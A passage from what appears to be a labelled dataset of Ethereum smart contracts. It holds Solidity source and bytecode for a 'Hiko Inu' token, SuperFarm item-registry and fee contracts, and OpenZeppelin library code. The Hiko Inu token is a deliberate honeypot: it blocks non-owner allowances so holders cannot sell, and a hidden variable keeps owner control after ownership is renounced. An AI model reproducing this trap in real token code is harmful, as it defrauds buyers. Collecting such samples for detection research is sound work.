function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract HikoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Hiko Inu ' ;
string private _symbol = 'HIKO ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122074b4b44c50e7fc70f777799e31c3f6040dbd65efd354e9a61bc8f3d913f9bd7164736f6c634300060c0033 | [
38
] |
0xf35A92585CeEE7251388e14F268D9065F5206207 | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Items.
@author Tim Clancy
This is the governing registry of all SuperFarm Item assets.
*/
contract FarmItemRecords is Ownable, ReentrancyGuard {
/// A version number for this record contract's interface.
uint256 public version = 1;
/// A mapping for an array of all Fee1155s deployed by a particular address.
mapping (address => address[]) public itemRecords;
/// An event for tracking the creation of a new Item.
event ItemCreated(address indexed itemAddress, address indexed creator);
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/**
Construct a new item registry with a specific OpenSea proxy address.
@param _proxyRegistryAddress An OpenSea proxy registry address.
*/
constructor(address _proxyRegistryAddress) public {
proxyRegistryAddress = _proxyRegistryAddress;
}
/**
Create a Fee1155 on behalf of the owner calling this function. The Fee1155
immediately mints a single-item collection.
@param _uri The item group's metadata URI.
@param _royaltyFee The creator's fee to apply to the created item.
@param _initialSupply An array of per-item initial supplies which should be
minted immediately.
@param _maximumSupply An array of per-item maximum supplies.
@param _recipients An array of addresses which will receive the initial
supply minted for each corresponding item.
@param _data Any associated data to use if items are minted this transaction.
*/
function createItem(string calldata _uri, uint256 _royaltyFee, uint256[] calldata _initialSupply, uint256[] calldata _maximumSupply, address[] calldata _recipients, bytes calldata _data) external nonReentrant returns (Fee1155) {
FeeOwner royaltyFeeOwner = new FeeOwner(_royaltyFee, 30000);
Fee1155 newItemGroup = new Fee1155(_uri, royaltyFeeOwner, proxyRegistryAddress);
newItemGroup.create(_initialSupply, _maximumSupply, _recipients, _data);
// Transfer ownership of the new Item to the user then store a reference.
royaltyFeeOwner.transferOwnership(msg.sender);
newItemGroup.transferOwnership(msg.sender);
address itemAddress = address(newItemGroup);
itemRecords[msg.sender].push(itemAddress);
emit ItemCreated(itemAddress, msg.sender);
return newItemGroup;
}
/**
Allow a user to add an existing Item contract to the registry.
@param _itemAddress The address of the Item contract to add for this user.
*/
function addItem(address _itemAddress) external {
itemRecords[msg.sender].push(_itemAddress);
}
/**
Get the number of entries in the Item records mapping for the given user.
@return The number of Items added for a given address.
*/
function getItemCount(address _user) external view returns (uint256) {
return itemRecords[_user].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title Represents ownership over a fee of some percentage.
@author Tim Clancy
*/
contract FeeOwner is Ownable {
using SafeMath for uint256;
/// A version number for this FeeOwner contract's interface.
uint256 public version = 1;
/// The percent fee due to this contract's owner, represented as 1/1000th of a percent. That is, a 1% fee maps to 1000.
uint256 public fee;
/// The maximum configurable percent fee due to this contract's owner, represented as 1/1000th of a percent.
uint256 public maximumFee;
/// An event for tracking modification of the fee.
event FeeChanged(uint256 oldFee, uint256 newFee);
/**
Construct a new FeeOwner by providing specifying a fee.
@param _fee The percent fee to apply, represented as 1/1000th of a percent.
@param _maximumFee The maximum possible fee that the owner can set.
*/
constructor(uint256 _fee, uint256 _maximumFee) public {
require(_fee <= _maximumFee, "The fee cannot be set above its maximum.");
fee = _fee;
maximumFee = _maximumFee;
}
/**
Allows the owner of this fee to modify what they take, within bounds.
@param newFee The new fee to begin using.
*/
function changeFee(uint256 newFee) external onlyOwner {
require(newFee <= maximumFee, "The fee cannot be set above its original maximum.");
emit FeeChanged(fee, newFee);
fee = newFee;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy { }
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
@title An ERC-1155 item creation contract which specifies an associated
FeeOwner who receives royalties from sales of created items.
@author Tim Clancy
The fee set by the FeeOwner on this Item is honored by Shop contracts.
In addition to the inherited OpenZeppelin dependency, this uses ideas from
the original ERC-1155 reference implementation.
*/
contract Fee1155 is ERC1155, Ownable {
using SafeMath for uint256;
/// A version number for this fee-bearing 1155 item contract's interface.
uint256 public version = 1;
/// The ERC-1155 URI for looking up item metadata using {id} substitution.
string public metadataUri;
/// A user-specified FeeOwner to receive a portion of item sale earnings.
FeeOwner public feeOwner;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A counter to enforce unique IDs for each item group minted.
uint256 public nextItemGroupId;
/// This mapping tracks the number of unique items within each item group.
mapping (uint256 => uint256) public itemGroupSizes;
/// A mapping of item IDs to their circulating supplies.
mapping (uint256 => uint256) public currentSupply;
/// A mapping of item IDs to their maximum supplies; true NFTs are unique.
mapping (uint256 => uint256) public maximumSupply;
/// A mapping of all addresses approved to mint items on behalf of the owner.
mapping (address => bool) public approvedMinters;
/// An event for tracking the creation of an item group.
event ItemGroupCreated(uint256 itemGroupId, uint256 itemGroupSize,
address indexed creator);
/// A custom modifier which permits only approved minters to mint items.
modifier onlyMinters {
require(msg.sender == owner() || approvedMinters[msg.sender],
"You are not an approved minter for this item.");
_;
}
/**
Construct a new ERC-1155 item with an associated FeeOwner fee.
@param _uri The metadata URI to perform token ID substitution in.
@param _feeOwner The address of a FeeOwner who receives earnings from this
item.
@param _proxyRegistryAddress An OpenSea proxy registry address.
*/
constructor(string memory _uri, FeeOwner _feeOwner, address _proxyRegistryAddress) public ERC1155(_uri) {
metadataUri = _uri;
feeOwner = _feeOwner;
proxyRegistryAddress = _proxyRegistryAddress;
nextItemGroupId = 0;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
Allow the item owner to update the metadata URI of this collection.
@param _uri The new URI to update to.
*/
function setURI(string calldata _uri) external onlyOwner {
metadataUri = _uri;
}
/**
Allows the owner of this contract to grant or remove approval to an external
minter of items.
@param _minter The external address allowed to mint items.
@param _approval The updated `_minter` approval status.
*/
function approveMinter(address _minter, bool _approval) external onlyOwner {
approvedMinters[_minter] = _approval;
}
/**
This function creates an "item group" which may contain one or more
individual items. The items within a group may be any combination of
fungible or nonfungible. The distinction between a fungible and a
nonfungible item is made by checking the item's possible `_maximumSupply`;
nonfungible items will naturally have a maximum supply of one because they
are unqiue. Creating an item through this function defines its maximum
supply. The size of the item group is inferred from the size of the input
arrays.
The primary purpose of an item group is to create a collection of
nonfungible items where each item within the collection is unique but they
all share some data as a group. The primary example of this is something
like a series of 100 trading cards where each card is unique with its issue
number from 1 to 100 but all otherwise reflect the same metadata. In such an
example, the `_maximumSupply` of each item is one and the size of the group
would be specified by passing an array with 100 elements in it to this
function: [ 1, 1, 1, ... 1 ].
Within an item group, items are 1-indexed with the 0-index of the item group
supporting lookup of item group metadata. This 0-index metadata includes
lookup via `maximumSupply` of the full count of items in the group should
all of the items be minted, lookup via `currentSupply` of the number of
items circulating from the group as a whole, and lookup via `groupSizes` of
the number of unique items within the group.
@param initialSupply An array of per-item initial supplies which should be
minted immediately.
@param _maximumSupply An array of per-item maximum supplies.
@param recipients An array of addresses which will receive the initial
supply minted for each corresponding item.
@param data Any associated data to use if items are minted this transaction.
*/
function create(uint256[] calldata initialSupply, uint256[] calldata _maximumSupply, address[] calldata recipients, bytes calldata data) external onlyOwner returns (uint256) {
uint256 groupSize = initialSupply.length;
require(groupSize > 0,
"You cannot create an empty item group.");
require(initialSupply.length == _maximumSupply.length,
"Initial supply length cannot be mismatched with maximum supply length.");
require(initialSupply.length == recipients.length,
"Initial supply length cannot be mismatched with recipients length.");
// Create an item group of requested size using the next available ID.
uint256 shiftedGroupId = nextItemGroupId << 128;
itemGroupSizes[shiftedGroupId] = groupSize;
emit ItemGroupCreated(shiftedGroupId, groupSize, msg.sender);
// Record the supply cap of each item being created in the group.
uint256 fullCollectionSize = 0;
for (uint256 i = 0; i < groupSize; i++) {
uint256 itemInitialSupply = initialSupply[i];
uint256 itemMaximumSupply = _maximumSupply[i];
fullCollectionSize = fullCollectionSize.add(itemMaximumSupply);
require(itemMaximumSupply > 0,
"You cannot create an item which is never mintable.");
require(itemInitialSupply <= itemMaximumSupply,
"You cannot create an item which exceeds its own supply cap.");
// The item ID is offset by one because the zero index of the group is used to store the group size.
uint256 itemId = shiftedGroupId.add(i + 1);
maximumSupply[itemId] = itemMaximumSupply;
// If this item is being initialized with a supply, mint to the recipient.
if (itemInitialSupply > 0) {
address itemRecipient = recipients[i];
_mint(itemRecipient, itemId, itemInitialSupply, data);
currentSupply[itemId] = itemInitialSupply;
}
}
// Also record the full size of the entire item group.
maximumSupply[shiftedGroupId] = fullCollectionSize;
// Increment our next item group ID and return our created item group ID.
nextItemGroupId = nextItemGroupId.add(1);
return shiftedGroupId;
}
/**
Allow the item owner to mint a new item, so long as there is supply left to
do so.
@param to The address to send the newly-minted items to.
@param id The ERC-1155 ID of the item being minted.
@param amount The amount of the new item to mint.
@param data Any associated data for this minting event that should be passed.
*/
function mint(address to, uint256 id, uint256 amount, bytes calldata data) external onlyMinters {
uint256 groupId = id & GROUP_MASK;
require(groupId != id,
"You cannot mint an item with an issuance index of 0.");
currentSupply[groupId] = currentSupply[groupId].add(amount);
uint256 newSupply = currentSupply[id].add(amount);
currentSupply[id] = newSupply;
require(newSupply <= maximumSupply[id],
"You cannot mint an item beyond its permitted maximum supply.");
_mint(to, id, amount, data);
}
/**
Allow the item owner to mint a new batch of items, so long as there is
supply left to do so for each item.
@param to The address to send the newly-minted items to.
@param ids The ERC-1155 IDs of the items being minted.
@param amounts The amounts of the new items to mint.
@param data Any associated data for this minting event that should be passed.
*/
function mintBatch(address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external onlyMinters {
require(ids.length > 0,
"You cannot perform an empty mint.");
require(ids.length == amounts.length,
"Supplied IDs length cannot be mismatched with amounts length.");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 groupId = id & GROUP_MASK;
require(groupId != id,
"You cannot mint an item with an issuance index of 0.");
currentSupply[groupId] = currentSupply[groupId].add(amount);
uint256 newSupply = currentSupply[id].add(amount);
currentSupply[id] = newSupply;
require(newSupply <= maximumSupply[id],
"You cannot mint an item beyond its permitted maximum supply.");
}
_mintBatch(to, ids, amounts, data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
